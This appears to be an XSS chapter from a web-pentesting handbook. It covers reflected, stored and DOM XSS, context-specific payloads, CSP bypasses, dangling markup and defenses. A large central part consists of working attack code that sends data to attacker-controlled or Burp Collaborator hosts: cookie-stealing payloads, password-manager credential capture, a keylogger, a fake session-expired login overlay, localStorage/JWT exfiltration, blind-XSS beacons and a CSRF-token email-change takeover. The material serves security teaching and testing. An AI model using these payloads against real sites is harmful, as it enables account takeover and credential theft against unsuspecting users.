Salta ai contenuti
Seleziona tema

Cross-Site Scripting (XSS)

Questi contenuti non sono ancora disponibili nella tua lingua.

Cross-Site Scripting is the execution of attacker-controlled script in the origin of a trusted site. Because the script runs as the site, it can do anything the user can do in that origin: read the DOM, read non-HttpOnly cookies, read CSRF tokens and perform authenticated actions, and tamper with the page. alert(1) is only the proof of concept; the real impact is account-level.

The payload is in the request (a query parameter, a URL path, an HTTP header) and echoed into the immediate response. The server takes attacker-controlled input and places it in the HTML without encoding.

https://target.example/search?term=<script>alert(document.domain)</script>

The response contains the payload verbatim:

<p>You searched for: <script>alert(document.domain)</script></p>

Delivery needs a crafted link the victim follows (email, message, link on a site the attacker controls). The attacker cannot just inject and wait; each victim must hit the URL.

The payload is saved server-side (a comment field, a profile name, a support ticket, a log viewed in an admin panel) and served to other users later. No per-victim link needed; the blast radius is everyone who views the page that renders the stored payload. This makes it more dangerous than reflected XSS because the attack is self-contained in the application.

Second-order stored XSS: the payload enters through one input, gets stored, and executes when a different part of the application renders it. For example, a username containing <img src=x onerror=alert(1)> may be harmless on the registration page but fires when an admin views the user list.

The vulnerability is entirely client-side: JavaScript reads a source the attacker controls and writes it to a dangerous sink. The server may never see the payload at all (for example when it lives in the URL fragment #). Because the payload never appears in the HTTP response body, server-side WAFs and encoding miss it completely. A dedicated section below covers sources, sinks and exploitation in detail.

The payload that works depends entirely on where the input lands in the response. My routine:

  1. Inject a unique canary (something searchable like xq7z) into each parameter, and find every place it appears in the response. One input can reflect into several contexts.
  2. Identify the context at each reflection point.
  3. See which characters survive: < > " ' / ( ) = and backtick. The filtering tells you which context you can break out of.
  4. Build the minimal payload for that context.
  5. Check for a CSP and whether it is bypassable.

The input is rendered as text between HTML tags:

<h1>You searched for: [INPUT]</h1>

Payload: introduce a new tag that triggers script execution.

<img src=x onerror=alert(document.domain)>

If <script> is blocked, alternatives:

Payload Why it works
<img src=x onerror=alert(1)> Browser tries to load x, fails, fires onerror
<svg onload=alert(1)> SVG onload fires on render
<body onload=alert(1)> Body onload (if injectable early)
<video src=1 onerror=alert(1)> Same error-trigger pattern
<iframe src=javascript:alert(1)> javascript: pseudo-protocol in src

The input lands inside an attribute value:

<input type="text" value="[INPUT]">

When angle brackets are allowed: break out of the attribute and the tag, then inject a new element.

"><img src=x onerror=alert(document.domain)>

When < and > are encoded but quotes are not: stay inside the tag, inject an event handler.

" autofocus onfocus=alert(document.domain) x="

The " terminates the value attribute. autofocus forces focus on the element. onfocus fires and executes the script. The trailing x=" repairs the broken markup so the parser does not choke.

href and other URL attributes: if the input populates href, src, action or similar URL attributes, the javascript: pseudo-protocol works directly:

javascript:alert(document.domain)

Canonical link and other non-interactive tags: when the reflection is in a tag like <link> or <meta> that does not naturally generate user events, use accesskey:

" accesskey="X" onclick="alert(document.domain)

The victim must press the access key combination (Alt+Shift+X on Windows/Linux, Ctrl+Alt+X on macOS), so this requires user interaction and is worth mentioning in a report but hard to exploit at scale.

The input is placed inside a JavaScript string:

<script>
var input = '[INPUT]';
</script>

Break the string and inject new code:

';alert(document.domain);//

This terminates the string with ', executes alert, and // comments out the rest of the line to avoid a syntax error.

Alternative payloads:

Payload When to use
'-alert(document.domain)-' The - operator coerces to number; works when ; is filtered
\';alert(document.domain);// When the app adds a \ before ' to escape it: \\ neutralizes the backslash, and the ' terminates the string
</script><img src=x onerror=alert(1)> Break out of the script block entirely; works because HTML parsing runs before JS parsing

Backslash escape bypass in detail: if the application adds \ before every ':

Input: ';alert(1)//
Server: \';alert(1)// ← the backslash escapes the quote, payload is dead

Counter: inject your own \ first:

Input: \';alert(1)//
Server: \\';alert(1)// ← the first \ escapes the second \, the quote terminates the string

The input is placed inside a JavaScript template literal (backticks):

<script>
var input = `[INPUT]`;
</script>

No need to break out. Template literals evaluate ${...} expressions inline:

${alert(document.domain)}

The input is inside an inline event handler:

<a href="#" onclick="var x='[INPUT]'; doSomething(x);">

Event handler attributes are HTML-decoded before JavaScript execution. This means HTML entities are valid as JavaScript characters here. When ' is filtered but &apos; is not:

&apos;-alert(document.domain)-&apos;

The browser HTML-decodes &apos; to ', which terminates the JS string. The - operator triggers alert. This two-layer decoding (HTML first, then JS) is a common source of bypasses.

Useful entities:

Entity Character
&apos; / &#x27; '
&quot; / &#x22; "
&lt; <
&gt; >

When the page includes AngularJS (1.x) and the input appears inside an ng-app scope:

<div ng-app>
<p>Hello, [INPUT]</p>
</div>

AngularJS evaluates expressions inside {{ }}:

{{constructor.constructor('alert(document.domain)')()}}

constructor.constructor is Function, which creates and executes arbitrary code without needing <script> tags or event handlers. This works even if < and > are encoded.

Context Payload Bypass when filtered
HTML text <img src=x onerror=alert(1)> <svg onload>, <video onerror>
Quoted attribute " autofocus onfocus=alert(1) x=" accesskey for non-interactive tags
JS string ';alert(1);// \'; for backslash escaping, </script> to break the block
Template literal ${alert(1)} Rarely filtered separately
Event handler &apos;-alert(1)-&apos; &#x27; hex entity variant
URL attribute javascript:alert(1) URL encoding: javascript:alert%281%29
AngularJS {{constructor.constructor('alert(1)')()}} Sandbox escape payloads for specific versions

A fast, systematic way to find XSS on any input:

Phase 1: inject the universal payload. If it fires, you are done.

<img src=x onerror=alert(1)>

Phase 2: if phase 1 is blocked, try an alternative tag.

<svg onload=alert(1)>

Phase 3: if all new tags are blocked, try escaping an attribute.

" onmouseover="alert(1)

Phase 4: if you are in a JS context, break the string.

';alert(1);//

Phase 5: if nothing fires, open DevTools (F12, not View Source for DOM XSS) and analyze:

  1. Where does the input appear in the rendered DOM?
  2. Which characters are encoded, which survive?
  3. Build a context-specific payload from the analysis.

Use Burp Intruder with a fuzzing list to systematically test each entry point. Burp Scanner can find most reflected and stored XSS automatically, but manual testing is essential for DOM XSS, complex JS contexts, WAF bypass and template injection.

DOM XSS is a dataflow problem. A source is attacker-controllable input read by JavaScript; a sink is an API that turns a string into markup or code. The bug is a source reaching a sink without sanitization.

Source Example
location.search ?param=value
location.hash #fragment
location.href Full URL
document.URL Page URL
document.documentURI Document URI
document.referrer Referrer header
document.cookie Cookies (if not HttpOnly)
window.name Window name (persists across navigations)
postMessage data Cross-origin messages
Sink Risk
eval() Executes any code
setTimeout() / setInterval() With a string argument, acts like eval
Function() Creates a function from a string
execScript() IE-specific code execution
Sink Notes
document.write() Writes directly into the page; <script> works here
innerHTML / outerHTML <script> does not execute via innerHTML, but <img onerror> does
insertAdjacentHTML() Same behavior as innerHTML
element.onevent Setting an event handler property
Sink Risk
$() (selector) Injects HTML if input starts with <; patched in recent jQuery to block input starting with #
.html() Same as innerHTML
.append() / .prepend() HTML injection
.attr() Can set href to javascript:

Automated: Burp Suite DOM Invader (built into the Burp browser) traces sources to sinks automatically.

Manual: use DevTools, not View Source. DOM XSS payloads do not appear in the raw HTML source; they exist only in the rendered DOM.

  1. Search all JavaScript for source reads: Ctrl+Shift+F in DevTools, search for location.search, location.hash, document.URL, etc.
  2. Set a breakpoint where the source is read.
  3. Trace how the value flows through variables and function calls.
  4. Check if it reaches a sink without sanitization.
  5. Craft a payload appropriate for that sink.

document.write(): full <script> tags work because document.write feeds the HTML parser.

// Vulnerable code
document.write('<h1>' + location.search + '</h1>');
?search=<script>alert(document.domain)</script>

If the write happens inside a <select> or <table>, close the containing element first: </select><img src=x onerror=alert(1)>.

innerHTML: <script> tags do not execute via innerHTML (browser security restriction). Use event-based payloads:

// Vulnerable code
element.innerHTML = location.hash.slice(1);
#<img src=x onerror=alert(document.domain)>

jQuery $() selector: older jQuery versions parse HTML when the selector string contains <:

$(window).on('hashchange', function() {
$(location.hash).scrollIntoView();
});

Exploit with an iframe to trigger hashchange automatically:

<iframe src="https://target.example#" onload="this.src+='<img src=1 onerror=alert(1)>'">

jQuery .attr(): setting href from user input allows javascript::

$('#backLink').attr('href', new URLSearchParams(location.search).get('returnUrl'));
?returnUrl=javascript:alert(document.domain)

AngularJS: when the page uses ng-app, any expression inside {{ }} is evaluated:

{{constructor.constructor('alert(1)')()}}

window.postMessage() allows cross-origin communication between windows. If the receiving page does not validate the message origin, an attacker can send a crafted message from their own page. This is one of the most common DOM XSS vectors in modern applications.

Vulnerable listener:

Vulnerable code on target.example
window.addEventListener('message', function(e) {
// No origin check
document.getElementById('output').innerHTML = e.data;
});

Exploit from attacker’s page:

attacker.example/exploit.html
<iframe src="https://target.example/page-with-listener" id="f"></iframe>
<script>
document.getElementById('f').onload = function() {
this.contentWindow.postMessage(
'<img src=x onerror=alert(document.domain)>',
'*'
);
};
</script>

The attacker opens the target page in an iframe (or a new window), waits for it to load, then sends a message containing the XSS payload. The vulnerable listener writes it to innerHTML.

What to look for:

  1. Search the target’s JavaScript for addEventListener('message' or onmessage
  2. Check if the handler validates event.origin before processing event.data
  3. Check if event.data reaches a sink (innerHTML, eval, document.write, jQuery $())
  4. If no origin check and a sink is reachable, it is exploitable

Bypassing weak origin checks:

Weak check (startsWith)
if (e.origin.startsWith('https://target.example')) {
// Bypassable with https://target.example.attacker.example
}
Weak check (indexOf)
if (e.origin.indexOf('target.example') > -1) {
// Bypassable with https://attacker.example?target.example
}

DOM XSS can combine with server-side reflection:

  • Reflected DOM XSS: the server reflects data into the response, and client-side JS reads that reflected data and passes it to a sink. The server sees the payload but does not directly execute it.
  • Stored DOM XSS: the server stores data, a client-side script fetches it (e.g. via an API call or by reading the DOM), and passes it to a sink.

In both cases, the vulnerability is in the client-side code, but the delivery vector involves the server.

Finding XSS is the first step. Demonstrating real impact is what makes it a finding worth fixing.

The classic technique: steal the session cookie and hijack the victim’s session.

Basic payload:

<script>
fetch('https://attacker.example/steal?c=' + document.cookie);
</script>

Stealth variant (no <script> tag):

<img src=x onerror="fetch('https://attacker.example?c='+document.cookie)">

Image beacon (most silent):

<img src=x onerror="new Image().src='https://attacker.example?c='+document.cookie">

Using Burp Collaborator: Collaborator provides a temporary domain that logs all incoming requests, with no setup needed. Copy the Collaborator URL from the Collaborator tab in Burp, then use it in the payload:

<script>
fetch('https://YOUR-ID.oastify.com', {
method: 'POST',
mode: 'no-cors',
body: document.cookie
});
</script>

Alternative exfiltration methods via Collaborator:

Method Payload Notes
fetch POST fetch(url, {method:'POST', mode:'no-cors', body:document.cookie}) Modern, handles large data
Image new Image().src = url + '?c=' + encodeURIComponent(document.cookie) Works in older browsers, stealthy
sendBeacon navigator.sendBeacon(url, document.cookie) Reliable even during page unload
Redirect document.location = url + '?c=' + document.cookie Visible to the user, least stealthy

After the cookie arrives, inject it in your browser (DevTools > Application > Cookies), reload, and you are logged in as the victim.

Limitations of cookie theft:

Limitation Impact
HttpOnly flag Cookie is not accessible via document.cookie
IP-bound sessions Session is tied to the victim’s IP
Short session timeout Cookie expires before you can use it

When HttpOnly is set, cookie theft fails. Move to the next techniques.

Many users have a password manager that auto-fills credentials. XSS can exploit this:

  1. Inject a fake login form into the page.
  2. The password manager fills it with the site’s stored credentials.
  3. Read the values and exfiltrate them.

Payload with onchange (most reliable, from the PortSwigger lab):

<input name=username id=username>
<input type=password name=password
onchange="if(this.value.length)
fetch('https://YOUR-ID.oastify.com', {
method:'POST',
mode:'no-cors',
body:username.value+':'+this.value
});">

The onchange event fires as soon as the password manager fills the field. No setTimeout guesswork.

Hidden form variant:

<script>
var form = document.createElement('form');
form.innerHTML = '<input type="text" name="username">' +
'<input type="password" name="password">';
form.style.position = 'fixed';
form.style.top = '-1000px';
document.body.appendChild(form);
setTimeout(function() {
var u = form.querySelector('[name="username"]').value;
var p = form.querySelector('[name="password"]').value;
if (p) {
fetch('https://YOUR-ID.oastify.com', {
method: 'POST',
mode: 'no-cors',
body: u + ':' + p
});
}
}, 5000);
</script>

Why this is often better than cookie theft:

Advantage Explanation
Bypasses HttpOnly Does not read cookies at all
Persistent access Passwords do not expire like sessions
Cross-site reuse If the victim reuses the password, you have access to other services

CSRF bypass: reading tokens for account takeover

Section titled “CSRF bypass: reading tokens for account takeover”

XSS makes CSRF tokens useless. A CSRF attack from an external origin cannot read the target page to extract the token. An XSS payload running in the origin can.

The classic account takeover chain:

  1. Read the CSRF token from the page.
  2. Submit a request to change the victim’s email to one you control.
  3. Trigger a password reset on the new email.
  4. Log in as the victim.

Payload (email change with CSRF token):

<script>
var token = document.querySelector('input[name="csrf"]').value;
fetch('/my-account/change-email', {
method: 'POST',
headers: {'Content-Type': 'application/x-www-form-urlencoded'},
body: 'email=attacker@attacker.example&csrf=' + token
});
</script>

When the token is not directly in the page (fetched via a separate request):

<script>
fetch('/my-account')
.then(r => r.text())
.then(html => {
var token = html.match(/name="csrf" value="([^"]+)"/)[1];
fetch('/my-account/change-email', {
method: 'POST',
headers: {'Content-Type': 'application/x-www-form-urlencoded'},
body: 'email=attacker@attacker.example&csrf=' + token
});
});
</script>
CSRF from external origin XSS + CSRF
Can read the response No Yes
Can read CSRF tokens No Yes
Requires user interaction Yes (click link) No (stored XSS fires on page load)
Persistent No Yes (if stored)

Combine techniques based on what the target allows:

  1. Try cookie theft first (simplest). If the session cookie has HttpOnly, move on.
  2. Try password capture (works regardless of cookie flags, but requires a password manager).
  3. Try CSRF-based account takeover (works when the application has an email-change or password-change flow protected only by a CSRF token).

In a real engagement, you pick whichever path gets to the highest impact.

Capture everything the victim types on the page. Useful when you need credentials for a specific form but cannot rely on auto-fill:

<script>
var keys = '';
document.addEventListener('keypress', function(e) {
keys += e.key;
if (keys.length > 20) {
navigator.sendBeacon('https://YOUR-ID.oastify.com', keys);
keys = '';
}
});
</script>

sendBeacon sends the data reliably even during page navigation. The buffer flushes every 20 characters to keep network noise low.

Fake login overlay (phishing from the same origin)

Section titled “Fake login overlay (phishing from the same origin)”

Replace the page content with a login form that posts to your server. Because the URL bar still shows the legitimate domain, most users will not notice:

<script>
document.body.innerHTML = `
<div style="max-width:400px;margin:80px auto;font-family:sans-serif">
<h2>Session expired</h2>
<p>Please log in again.</p>
<form action="https://YOUR-ID.oastify.com/creds" method="POST">
<input name="user" placeholder="Email" style="width:100%;padding:8px;margin:4px 0"><br>
<input name="pass" type="password" placeholder="Password" style="width:100%;padding:8px;margin:4px 0"><br>
<button style="width:100%;padding:8px;margin-top:8px">Log in</button>
</form>
</div>`;
</script>

This works even when cookies are HttpOnly and password managers do not trigger. The user types their credentials into what looks like a legitimate session-timeout page.

localStorage and sessionStorage exfiltration

Section titled “localStorage and sessionStorage exfiltration”

Modern SPAs often store JWT tokens, API keys, or user data in browser storage instead of cookies. These are always readable from JavaScript, regardless of HttpOnly:

<script>
var data = {
localStorage: JSON.stringify(localStorage),
sessionStorage: JSON.stringify(sessionStorage)
};
navigator.sendBeacon('https://YOUR-ID.oastify.com', JSON.stringify(data));
</script>

If the application stores a JWT in localStorage, this payload steals it. The attacker uses it directly in Authorization: Bearer <token> headers without needing to set any cookie.

Blind XSS is stored XSS where you never see the page that renders your payload. The injection goes into one input, and the payload fires when a different user (typically an admin, support agent, or internal tool) views the data. You cannot test whether it worked by browsing the application yourself.

Any input that might be viewed by someone else in a different context:

Input Who views it
Contact/support forms Support agents in an internal dashboard
User-Agent, Referer, X-Forwarded-For headers Admin log viewers, analytics panels
Registration fields (name, email, address) Admin user management, CRM
Order notes, comments, feedback Backend operators, review tools
File metadata (EXIF, PDF title) Media library, document management
Error messages, stack traces Developer/ops monitoring dashboards

The payload must call home when it fires, because you have no way to watch it:

Blind XSS with Burp Collaborator
<script>
fetch('https://YOUR-ID.oastify.com/blind', {
method: 'POST',
mode: 'no-cors',
body: JSON.stringify({
url: location.href,
cookie: document.cookie,
dom: document.body.innerHTML.substring(0, 2000),
localStorage: JSON.stringify(localStorage)
})
});
</script>

This exfiltrates the page URL (tells you where the payload rendered), cookies, and the first 2000 characters of the DOM (shows you the internal interface).

Short polyglot for header injection (fits in a User-Agent or Referer):

"><img src=x onerror="fetch('https://YOUR-ID.oastify.com?c='+document.cookie)">
  1. Inject blind XSS payloads into every field listed above, plus HTTP headers
  2. Set up Collaborator (or any callback server) and monitor
  3. Wait: blind XSS can fire minutes, hours, or days later when the data is viewed
  4. When a callback arrives, the URL in the payload tells you which input was vulnerable and which internal tool rendered it

When the application or a WAF filters specific patterns, these techniques help get past them.

Payload Technique
confirm(1) Different function name
prompt(1) Different function name
console.log(1) Less visible, useful for blind confirmation
eval(atob('YWxlcnQoMSk=')) Base64-encoded alert(1)
onerror=alert;throw 1 Calls alert without parentheses in the payload
location='javascript:alert%281%29' URL-encoded parentheses

Use throw and onerror:

onerror=alert;throw 1

onerror=alert sets alert as the global exception handler. throw 1 raises an exception with value 1. The handler calls alert(1).

Most event-based payloads work without quotes:

<img src=x onerror=alert(1)>
<svg/onload=alert(1)>

Attribute values without quotes are valid HTML when they contain no spaces.

Payload Notes
<svg onload=alert(1)> onload instead of onerror
<body onload=alert(1)> Same
<input autofocus onfocus=alert(1)> Focus-based event
<marquee onstart=alert(1)> Legacy HTML element, often unfiltered
Payload HTML text innerHTML Attribute JS string URL
<img src=x onerror=alert(1)> Yes Yes Partial No No
<svg onload=alert(1)> Yes Yes Partial No No
" onmouseover="alert(1)" No No Yes No No
';alert(1);// No No No Yes No
javascript:alert(1) No No Partial No Yes

Some applications apply URL decoding, then HTML decoding. Chain both:

URL: ?search=%26apos%3B-alert(1)-%26apos%3B
URL-decoded: &apos;-alert(1)-&apos;
HTML-decoded: '-alert(1)-'
JS executed: alert(1)

CSP is a browser mechanism that restricts which resources a page can load and which scripts can execute. It is delivered as a response header:

Content-Security-Policy: script-src 'self'; object-src 'none'; base-uri 'none'
Directive Controls
default-src Fallback for all resource types
script-src Script loading and inline execution
style-src Stylesheet loading
img-src Image loading
connect-src fetch, XHR, WebSocket destinations
frame-src iframe sources
object-src Plugin objects (Flash, Java)
base-uri Allowed values for <base> tag
form-action Allowed form submission targets
frame-ancestors Who can frame the page (clickjacking defense)

Without 'unsafe-inline' in script-src, inline <script> blocks and event handlers are blocked. This is the primary XSS mitigation CSP provides.

A nonce is a random value generated per-response. Only scripts with the matching nonce attribute execute:

Content-Security-Policy: script-src 'nonce-r4nd0mV4lue'
<script nonce="r4nd0mV4lue">legitimate();</script>
<script>alert(1)</script> <!-- blocked: no matching nonce -->

A hash allowlists a specific script by its content hash:

Content-Security-Policy: script-src 'sha256-abc123...'

The browser computes the hash of the inline script and allows it only if it matches. Any change to the script content (including the attacker’s payload) produces a different hash, so the modified script is blocked.

If the CSP allows external images (img-src * or a broad allowlist), dangling markup can exfiltrate data without executing JavaScript. See the dedicated section below.

If script-src includes a domain that hosts a JSONP endpoint:

Content-Security-Policy: script-src 'self' https://cdn.example

And https://cdn.example has a JSONP endpoint:

<script src="https://cdn.example/jsonp?callback=alert(1)"></script>

The CDN is in the allowlist, so the browser loads the script. The JSONP endpoint reflects the callback parameter, executing alert(1).

If the application reflects user input into the CSP header itself:

CSP: script-src 'self'; report-uri /csp?token=INPUT

Inject a semicolon and a new directive:

INPUT = ; script-src-elem 'unsafe-inline'

Result:

CSP: script-src 'self'; report-uri /csp?token=; script-src-elem 'unsafe-inline'

script-src-elem overrides script-src for inline scripts (Chrome-specific), re-enabling inline execution.

In Chrome, script-src-elem takes precedence over script-src for <script> elements. If the policy sets script-src 'self' but also script-src-elem 'unsafe-inline', inline scripts are allowed.

If the CSP does not restrict base-uri:

<base href="https://attacker.example/">
<script src="app.js"></script>
<!-- loads https://attacker.example/app.js instead of the legitimate one -->

All relative script URLs resolve against the attacker-controlled base. The fix is base-uri 'none' or base-uri 'self' in the CSP.

If script-src allows a domain that has an open redirect:

https://trusted.example/redirect?url=https://attacker.example/evil.js

The browser may follow the redirect and load the attacker’s script, because the initial request was to the allowed domain. Not all browsers/versions are vulnerable to this. See the open redirect note for finding and bypassing redirect validation.

DOM clobbering exploits the browser’s behavior of making named HTML elements accessible as global variables. If the application’s JavaScript checks for the existence of a variable before defining it, and the CSP blocks inline scripts, you can still control code execution through HTML injection alone.

How it works: any element with an id or name attribute creates a property on document (and in some cases on window):

<img id="config">
<!-- document.config is now the <img> element -->

Exploit example: the page has this script (loaded from an allowed source, not inline):

Legitimate script
if (typeof window.config === 'undefined') {
window.config = {url: '/api/default'};
}
fetch(window.config.url).then(/* ... */);

The attacker injects (via stored XSS in a field that allows some HTML):

DOM clobbering payload
<a id=config><a id=config name=url href="https://attacker.example/evil.js">

When two anchor elements share the same id, the browser creates a HTMLCollection. Accessing window.config.url returns the href of the second anchor (name=url), which is the attacker’s URL. The script fetches from attacker.example instead of the default API endpoint.

DOM clobbering does not execute script directly, but it can:

  • Override configuration objects to redirect script loading
  • Bypass typeof x !== 'undefined' guards
  • Feed attacker-controlled strings to sinks that expect internal data

It works under strict CSPs because no inline script is injected: only HTML attributes.

Content-Security-Policy:
script-src 'nonce-r4nd0m' 'strict-dynamic';
object-src 'none';
base-uri 'none'

strict-dynamic propagates trust from nonced scripts to scripts they load, avoiding the need for host allowlists (which are routinely bypassable). object-src 'none' kills plugin-based vectors. base-uri 'none' stops <base> hijacking.

When a full XSS is blocked (by CSP, by a WAF that kills all event handlers and script tags, or by aggressive encoding), but angle brackets and quotes still get through, dangling markup can exfiltrate sensitive data from the page without executing any JavaScript.

Inject an <img> (or other resource tag) with an unclosed src attribute:

"><img src='https://attacker.example/?

The browser looks for the next matching quote (') to close the attribute. Everything between the injection point and that quote becomes part of the URL, including any HTML that contains CSRF tokens, hidden fields, or other sensitive data.

Original page:

<input type="text" name="username" value="[INPUT]">
<input type="hidden" name="csrf" value="abc123secret">

Injected payload:

"><img src='https://attacker.example/?

Rendered HTML:

<input type="text" name="username" value="">
<img src='https://attacker.example/?<input type="hidden" name="csrf" value="abc123secret"'>

The browser sends a request to:

https://attacker.example/?<input type="hidden" name="csrf" value="abc123secret"

The CSRF token is in the URL. The attacker reads it from their server logs.

Tag Attribute Payload
<img> src "><img src='https://attacker.example/?
<link> href "><link rel='stylesheet' href='https://attacker.example/?
<iframe> src "><iframe src='https://attacker.example/?
<embed> src "><embed src='https://attacker.example/?
<form> action "><form action='https://attacker.example/?
<style> @import "><style>@import 'https://attacker.example/?
<img> srcset "><img srcset='https://attacker.example/?
  1. Data is URL-encoded: the captured HTML is percent-encoded in the request, but still readable after decoding.
  2. Needs a closing quote: the attack works only if a matching quote character (' or ") appears later in the page to close the dangling attribute.
  3. Chrome protection (since 2021): Chrome blocks <img> tags whose URL contains raw <, > or newline characters. This breaks many dangling markup attacks in Chrome. Use <link>, <style>, or srcset as alternatives, or target other browsers.
XSS Dangling markup
Executes JavaScript Yes No
Blocked by script-src CSP Yes (usually) No (uses <img>, <link>)
Can exfiltrate data Yes (via fetch/Image) Yes (via URL)
Can perform actions Yes No
Requires interaction Sometimes No

When the application allows file uploads and serves the uploaded files from the same origin (or a subdomain), the file content itself becomes an XSS vector.

SVG is XML, and XML can contain inline JavaScript:

xss.svg
<?xml version="1.0"?>
<svg xmlns="http://www.w3.org/2000/svg">
<script>alert(document.domain)</script>
</svg>

If the server serves this with Content-Type: image/svg+xml, the browser renders it and executes the script. Upload it as a profile picture, an attachment, or any image field.

Alternative SVG payloads (when <script> is stripped during upload):

SVG with event handler
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)">
<rect width="100" height="100"/>
</svg>
SVG with foreignObject (embeds HTML)
<svg xmlns="http://www.w3.org/2000/svg">
<foreignObject width="100" height="100">
<body xmlns="http://www.w3.org/1999/xhtml">
<img src=x onerror="alert(document.domain)">
</body>
</foreignObject>
</svg>

If the application accepts .html or .htm uploads and serves them, the attacker uploads a page with arbitrary JavaScript. The browser executes it in the origin of the upload endpoint.

Server behavior Exploitable?
Serves uploaded files from the same origin Yes, full XSS impact
Serves from a different subdomain (e.g. uploads.target.example) Reduced, but still dangerous if cookies are set on .target.example
Serves from a dedicated domain (e.g. user-content.example) XSS executes in a separate origin, no cookie access to target.example
Forces Content-Disposition: attachment Not exploitable (browser downloads instead of rendering)
Strips <script> and event handlers from SVGs Partial mitigation, often bypassable

Mutation XSS exploits the difference between how an HTML sanitizer parses a string and how the browser’s HTML parser actually processes it. The sanitizer sees safe markup, but the browser re-interprets it as executable code after DOM mutation.

Classic example: the sanitizer processes this and considers it safe (no <script>, no event handlers):

<math><mtext><table><mglyph><style><!--</style><img src=x onerror=alert(1)>

The browser’s HTML parser handles <math>, <table>, and <style> nesting differently than the sanitizer expected. After DOM mutation, the <img onerror> ends up outside the <style> block and fires.

mXSS is relevant when the application uses a client-side sanitizer (like DOMPurify) but the sanitizer has not been updated. DOMPurify has had several mXSS bypasses over the years, each patched in newer versions. Always use the latest version.

The primary defense. Every value inserted into HTML must be encoded for the context where it appears:

Context Encoding
HTML text HTML entity encoding (< becomes &lt;)
HTML attribute HTML entity encoding, plus quote the attribute
JavaScript string Unicode escaping (' becomes \u0027)
URL parameter Percent-encoding
CSS value CSS escaping

Use a template engine with auto-escaping enabled by default (Jinja2, React JSX, modern Angular). Avoid the escape hatches on untrusted data: Jinja2 |safe, React dangerouslySetInnerHTML, Vue v-html.

Allowlist validation (accept only known-good characters) on input is a useful additional layer but is not a substitute for output encoding. Blocklisting (rejecting known-bad patterns) is always bypassable and should not be relied on as the sole defense.

When the application must render user-supplied HTML (rich text editors, markdown rendering), use DOMPurify to strip dangerous elements and attributes while keeping safe markup. Do not write your own sanitizer.

Deploy a nonce-based strict CSP as a second line of defense:

Content-Security-Policy:
script-src 'nonce-r4nd0m' 'strict-dynamic';
object-src 'none';
base-uri 'none'

CSP does not prevent XSS (the vulnerability is still there), but it makes exploitation significantly harder. A strict CSP with no 'unsafe-inline' and no broad host allowlists is difficult to bypass.

For defense in depth, Trusted Types make dangerous sinks refuse raw strings entirely, catching DOM XSS at the API level.

HttpOnly prevents document.cookie from reading the session cookie, blocking cookie theft. But it does not prevent session riding, DOM tampering, password capture, or any other XSS impact. It is damage limitation, not a remedy.

SameSite=Strict or SameSite=Lax on cookies reduces CSRF risk but does not help with XSS (the script runs in the same site).

3890 parole, circa 19 min di lettura